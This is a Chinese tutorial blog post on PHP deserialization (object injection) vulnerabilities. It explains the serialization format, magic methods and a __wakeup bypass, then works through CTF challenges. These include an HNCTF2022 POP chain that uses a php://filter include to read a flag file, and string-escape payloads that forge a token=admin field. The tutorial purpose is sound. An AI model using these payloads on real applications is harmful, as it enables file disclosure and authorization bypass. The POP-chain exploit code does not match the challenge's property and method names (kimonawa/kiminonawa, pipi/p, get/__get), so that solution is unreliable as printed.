news 2026/2/9 12:53:51

php反序列化学习

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
php反序列化学习

php反序列化学习

在PHP中,反序列化漏洞(也称为PHP对象注入漏洞)是一个安全漏洞,它允许攻击者执行恶意代码或者访问敏感数据。这种漏洞通常发生在应用程序不正确地处理来自不可靠来源的序列化数据时

就是将对象的状态信息写成一串字符,以便传输和保存。

o: 对象 a: 数组 s: 字符串 i: 整型

空字符null

N;

整型888

i:888;

浮点型88.8

d:88.8;

Boolean型true/false

b:1;/b:0;

字符串'nihao'

s:5:"nihao";

类的修饰符

public:公共的,在任何地方都可以访问,默认修饰符(在类、变量、方法或构造函数的定义中没有指定任何访问修饰符)

protected:受保护的,只能在本类内部和继承的子类中访问,不能在类外部直接访问

private:私有的,只能在本类内部访问,不能在子类或外部访问

修饰符

本类内部

子类

类外部

public

可以访问

可以访问

可以访问

protected

可以访问

可以访问

不可访问

private

可以访问

不可访问

不可访问

一些知识:

反序列化漏洞的成因:是因为unserialize(),需要传参,而传入的参数可控,就可以产生漏洞

反序列化后对象里面的值与类里面预定义的值无关

由于private私有化属性,中会出现特殊字符要用%00来代替空,最后再用urldecode()进行解码,后进行反序列化。

执行时进行url编码是为了:url中某些字符由特殊含义,需要编码才能正确传输。字符集的兼容性,url只能使用ASCll字符。防止歧义和注入,避免与URL语法冲突。只要参数值可能包含特殊字符,就应该进行URL编码以确保正确传输。

如果需要绕过wakeup()方法,可以利用(当序列化字符串中表示的对象属性数量大于实际类的属性数量时,__wakeup() 方法不会被调用)

魔术方法

接着就是了解一些魔术方法

_construct() 类的构造函数 _destruct() 类的析构函数 _call() 在对象中调用一个不可访问方法时调用 _callStatic() 用静态方式中调用一个不可访问方法时调用 _get() 获得一个类的成员变量时调用 _set() 设置一个类的成员变量时调用 _isset() 当对不可访问属性电工用isset()或empty()时调用 _unset() 当对不可访问属性调用unset()时被调用 _sleep() 执行serilize()时,会先调用这个函数 _wakeup() 执行unserialize()时,会先调用这个函数 _toString() 类被当成字符串时的回应方法 _invoke() 调用函数的方式调用一个对象是的回应方法 _set_state() 调用var_export()导出类时,此静态方法会被调用 _clone() 当对象复制完成时调用 _autoload() 尝试加载未定义的类 _debuginfo() 打印所需调试信息

__construct() 当对象创建时会自动调用(但在unserialize()时是不会自动调用的)

__invoke 该魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种)

_call() 当调用不存在的方法时,会触发 __call 魔术方法

__set() 当给不存在的属性赋值时,会触发 __set

class Vulnerable { public function __wakeup() { // 反序列化时自动调用 echo "对象已唤醒\n"; } public function __unserialize(array $data): void { // PHP 7.4+ 反序列化后创建的对象可用时调用 } public function __destruct() { // 对象销毁时调用 echo "对象销毁\n"; } public function __get($name) { // 访问不存在属性时调用 return $this->$name; } public function __set($name, $value) { // 设置不存在属性时调用 $this->$name = $value; } public function __call($name, $arguments) { // 调用不存在方法时调用 echo "调用不存在方法: $name\n"; } }

还有一些高危触发链

1. __destruct() → __call() → __set() → 代码执行 2. __wakeup() → 属性赋值 → __set() → 命令执行 3. __toString() → 方法调用 → __call() → 系统调用

例题1:魔术方法的调用

<?php error_reporting(0); //flag is in flag.php class Popuko { private $No_893; public function POP_TEAM_EPIC(){ $this->WEBSITE = "MANGA LIFE WIN"; } public function __invoke(){ $this->append($this->No_893); } public function append($santi_takeshobo){ include($santi_takeshobo); } } class Pipimi { public $pipi; public function PIPIPIMI(){ $h = "超喜欢POP子~ww,你也一样对吧(举刀)"; } public function __construct(){ echo "Pipi美永远不会生气~ww"; $this->pipi = array(); } public function get($scopop){ $function = $this->pipi; return $function(); } } class Goodsisters { public function PopukoPipimi(){ $is = "Good sisters"; } public $kimonawa,$str; public function __construct($file='index.php'){ $this->kimonawa = $file; echo 'Welcome to HNCTF2022 ,'; } public function __toString(){ return $this->str->kimonawa; } public function __wakeup(){ if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.|\//i", $this->kimonawa)) { echo "仲良ピース!"; $this->kimonawa = "index.php"; } } } if(isset($_GET['pop'])) @unserialize($_GET['pop']); else{ $a=new Goodsisters; if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){ highlight_file(__FILE__); echo '欸嘿,你也喜欢pop子~对吧ww'; } } 欸嘿,你也喜欢pop子~对吧ww

先看到Goodsisters类中的_wakeup()方法,_wakeup()方法反序列化时立即调用,从它下手

this->kiminonawa会被正则检查,且_wakeup()也没有调用危险函数,让这条链子没走下去。

最终是执行_invoke()方法,调用append($this->No_893)倒着推

要触发invoke()方法,__invoke魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种),在Pipimi类中return $function()会触发_invoke(),$function()在_get()方法中

_get()方法在读取不存在属性时会触发,在Goodsisters类中的_toString()方法中this->str->kiminonawa,Pipimi没有kiminonawa属性,触发_get()方法

-toString()方法是对象被当做字符串的时候进⾏⾃动调⽤,在preg_match()会触发_toString()方法,preg_match()在_wakeup方法中

正着写pop链:

Goodsisters::__wakeup()->Goodsisters::_toString()->Pipimi::_get()->Popuko::_invoke()

<?php class Popuko{ private $No_893="php://filter/read=convert.base64-encode/resource=f14g.php"; } class Pipimi{ public $pipi; } class Goodsisters{ public $kiminonawa; public $str; } $popuko=new Popuko(); $pipimi=new Pipimi(); $pipimi->p=$popuko; $goodsisters=new Goodsisters(); $goodsisters->str=$pipimi; $goodsisters1=new Goodsisters(); $goodsisters1->kiminonawa=$goodsisters; echo urlencode(serialize($goodsisters1)); ?>

反序列化字符串逃逸

序列化的字符串在经过过滤函数不正确的处理而导致对象注入

例题1:

<?php error_reporting(0); highlight_file(__FILE__); function filter($string){ return preg_replace( '/phtml|php3|php4|php5|aspx|gif/', '', $string); } $user['username'] = $_POST['name']; $user['passwd'] = $_GET['passwd']; $user['sign'] = '123456'; $ans = filter(serialize($user)); if(unserialize($ans)['sign'] === "ytyyds"){ echo file_get_contents('flag.php'); }

需要构造的代码

<?php class user{ public $username=""; public $name=""; public $passwd=""; public $sign="ytyyds"; } $a=new user(); echo serialize($a); ?>

该代码执行后生成:O:4:"user":4:{s:8:"username";s:0:"";s:4:"name";s:0:"";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}

逃逸距离取决于我们想要在序列化字符串中的哪个位置插入我们的payload,以及我们想要覆盖哪些字段。

在这一题中,我们需要是覆盖 passwd 字段,该字段有20个字符,所以构造post请求时payload:name=phtmlphtmlphtmlphtml

例题2:字符串逃逸问题

<?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg));//这里会将fuck替换成loveU setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);

然后看到注释中有一个php文件,访问后又得到一串代码

代码解释:意思是说在cookie中传入一个参数msg,其传入的内容需要进行base64编码,要让admin赋值给token

<?php highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }

利用字符串逃逸方法

然后就可以进行构造:

<?php class message{ public $from; public $msg; public $to; public $token='user'; } $a=new message(); $a->from="b"; $a->msg="c"; $a->to="d"; echo serialize($a); ?> O:7:"message":4:{s:4:"from";s:1:"b";s:3:"msg";s:1:"c";s:2:"to";s:1:"d";s:5:"token";s:4:"user";}

要让token=admin,借助这个$umsg = str_replace('fuck', 'loveU', serialize($msg));

";s:1:"d";s:5:"token";s:5:"admin";}这一共有27个字符,输入27个fuck,这27个fuck会转换成27个loveU,这会使其多出27个字符,但是前面的135还是不变的。读到 s:135:" 后,取 135 个字符作为 to 的值,135 个字符取完后,后面紧跟着的是 ";(闭合引号和分号),此时解析器继续读:s:5:"token";s:5:"admin";} 这被解析为新的键值对,覆盖 token 为 "admin"

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

这些是当作to的值进行传入:fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

最后剩下的 ";s:5:"token";s:4:"user";} 在对象结束后,解析器会忽略多余字符

O:7:"message":4:{...4个属性...}尾部垃圾数据

一旦解析器遇到那个 },它就认为工作完成了,属性数量正确(为4个属性),不会继续解析后面的字符。

payload:?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

执行成功后访问message.php

在这题中也可以直接将token的值设为admin,然后在cookie中传入参数msg,将构造的的payload进行base64编码

payload:O:7:"message":4:{s:4:"from";s:1:"b";s:3:"msg";s:1:"c";s:2:"to";s:1:"d";s:5:"token";s:5:"admin";}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/6 22:12:29

构建高效测试体系:测试文档编写规范详解

在软件开发的生命周期中&#xff0c;测试文档不仅是质量保证的重要载体&#xff0c;更是团队协作的关键纽带。规范的测试文档能够明确测试范围、统一测试标准、提升缺陷跟踪效率&#xff0c;并为产品迭代提供可靠依据。 一、测试计划文档规范 1.1 文档结构要求 测试计划文档…

作者头像 李华
网站建设 2026/2/8 8:38:05

从工具到思维:构筑持续测试的文化基石

一、引言&#xff1a;为何文化是持续测试的“隐形架构”在当今快速迭代的软件开发环境中&#xff0c;“持续测试”&#xff08;Continuous Testing&#xff09;早已不是陌生词汇。然而&#xff0c;实践中我们常常看到这样的场景&#xff1a;团队引入了最先进的自动化测试框架&a…

作者头像 李华
网站建设 2026/2/7 23:08:53

mac 效率工具那么多,为什么这个启动器能留下来

用顺手&#xff0c;才是真效率&#xff1a;我为什么会长期留下 OrbitRing 这个 macOS 启动器效率问题&#xff0c;往往输在“启动那几秒”很多人一提效率工具&#xff0c;就想到复杂设置、快捷键组合、自动化脚本。 但真正把 mac 用久了你会发现&#xff0c;最拖后腿的&#xf…

作者头像 李华
网站建设 2026/2/7 18:18:28

【毕业设计】基于人脸识别的写字楼安全系统的设计与实现

&#x1f49f;博主&#xff1a;程序员俊星&#xff1a;CSDN作者、博客专家、全栈领域优质创作者 &#x1f49f;专注于计算机毕业设计&#xff0c;大数据、深度学习、Java、小程序、python、安卓等技术领域 &#x1f4f2;文章末尾获取源码数据库 &#x1f308;还有大家在毕设选题…

作者头像 李华
网站建设 2026/2/8 21:06:51

JDK 21 虚拟线程:Java 并发编程的“降维打击”

Java 虚拟线程&#xff08;Virtual Threads&#xff09;完全指南&#xff1a;并发编程的降维打击在 Java 并发编程的发展历程中&#xff0c;我们曾为解决高并发问题付出巨大努力 —— 为了榨干 CPU 性能&#xff0c;我们研究复杂的线程池参数调优&#xff1b;为了应对 I/O 阻塞…

作者头像 李华